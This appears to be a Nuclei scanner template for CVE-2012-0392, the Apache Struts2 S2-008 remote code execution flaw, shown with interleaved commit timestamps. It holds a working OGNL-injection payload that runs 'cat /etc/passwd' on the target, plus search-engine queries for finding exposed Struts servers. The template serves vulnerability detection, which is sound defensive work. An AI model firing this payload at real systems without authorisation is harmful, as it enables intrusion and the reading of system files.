2021-02-21 13:59:42 +00:00
id : CVE-2012-0392
info :
name : Apache Struts2 S2-008 RCE
author : pikpikcu
2023-07-11 19:49:27 +00:00
severity : medium
2021-04-22 09:02:19 +00:00
description : The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
2023-09-06 13:22:34 +00:00
remediation : Developers should immediately upgrade to at least Struts 2.3.18.
2022-04-22 10:38:41 +00:00
reference :
- https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545
2022-05-17 09:18:12 +00:00
- http://www.exploit-db.com/exploits/18329
- https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html
2022-07-01 10:02:07 +00:00
- http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393
2023-07-15 16:29:17 +00:00
- http://struts.apache.org/2.x/docs/s2-008.html
2022-02-21 18:33:16 +00:00
classification :
2022-09-06 01:33:31 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
2023-04-18 02:40:53 +00:00
cvss-score : 6.8
2022-02-21 18:33:16 +00:00
cve-id : CVE-2012-0392
2022-09-06 01:33:31 +00:00
cwe-id : NVD-CWE-noinfo
2024-05-31 19:23:20 +00:00
epss-score : 0.96232
epss-percentile : 0.99521
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
2024-06-07 10:04:29 +00:00
shodan-query :
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query :
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
2024-05-31 19:23:20 +00:00
google-query : intitle:"struts2 showcase"
2024-01-14 09:21:50 +00:00
tags : cve,cve2012,apache,rce,struts,java,edb
2021-02-21 13:59:42 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-21 13:59:42 +00:00
- method : GET
path :
- "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-02-21 13:59:42 +00:00
- type : status
status :
2022-01-04 19:34:16 +00:00
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a0047304502202bbf86e708d5052738152ccb3c3e3644e742d29df19908a2f9e93c4d3b0ae6a7022100edc6714bc5c4a93886c03124896afd2172be7d9ababc019568c20b559bbae879:922c64590222798bb761d5b6d8e72950